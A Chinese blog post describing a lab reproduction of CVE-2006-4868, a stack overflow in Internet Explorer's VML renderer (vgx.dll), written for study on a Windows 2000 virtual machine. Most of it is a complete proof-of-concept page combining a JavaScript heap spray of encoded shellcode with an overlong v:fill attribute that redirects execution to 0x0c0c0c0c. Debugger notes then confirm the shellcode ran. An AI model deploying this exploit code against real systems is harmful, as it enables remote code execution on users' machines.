• CVE-2006-4868分析


    ----------本文思路完全来自《0day安全:软件漏洞分析技术》第二十七章----------

    实验环境
    操作系统:Windows 2000 sp4
    实验机器:VMware 15.5
    IE 版本:5.00.3700.1000
    vgx.dll版本:5.0.3014.1003

    引起漏洞的函数为_IE5_SHADETYPE_TEXT::Text(unisigned short const*,int),在ida里查看

    我没能下到vgx.dll的符号,所以根据书上的地址找的。。。

    POC

    <html xmlns:v="urn:schemas-microsoft-com:vml">
    <head>
    <title>failwest</title>
    <style>
    <!--v:* { behavior: url(#default#VML); }-->
    </style>
    </head>
    <script language="javascript">
    var shellcode="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6577u7473u6668u6961u8b6cu53c4u5050uff53ufc57uff53uf857";
    var nop="u9090u9090";
    while (nop.length<= 0x100000/2)
    {
        nop+=nop;
    }
    
    nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
    var slide = new Array();
    for (var i=0; i<200; i++)
    {
        slide[i] = nop + shellcode;
    }
    
    </script>
    <body>
    <v:rect style="444pt;height:444pt" fillcolor="black">
    <v:fill method="&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;"/>
    </v:rect>
    </body>
    </html>

    使用ollydbg调试,发现在此处栈被覆盖了

    进去看看

    此处没有对数据长度进行判断,此时栈如下

    返回地址明显被覆盖了,函数结束后跳到了0x0c0c0c0c

    shellcode被执行了

  • 相关阅读:
    selenium执行js代码的两个方法
    PostgresSQL数据库安装及操作
    [Python]requests使用代理
    linux下postgreSQL初始化设置方法
    如何用Jenkins自动化部署项目(教程,从零到搭建完成)
    Python笔记:Geopython GIS相关库
    Postman接口&压力测试
    python+django+vue实现前后端分离项目和部署的操作
    python-Django-1.8.2中文文档
    CSS详细解读定位
  • 原文地址:https://www.cnblogs.com/harmonica11/p/14221057.html
Copyright © 2020-2023  润新知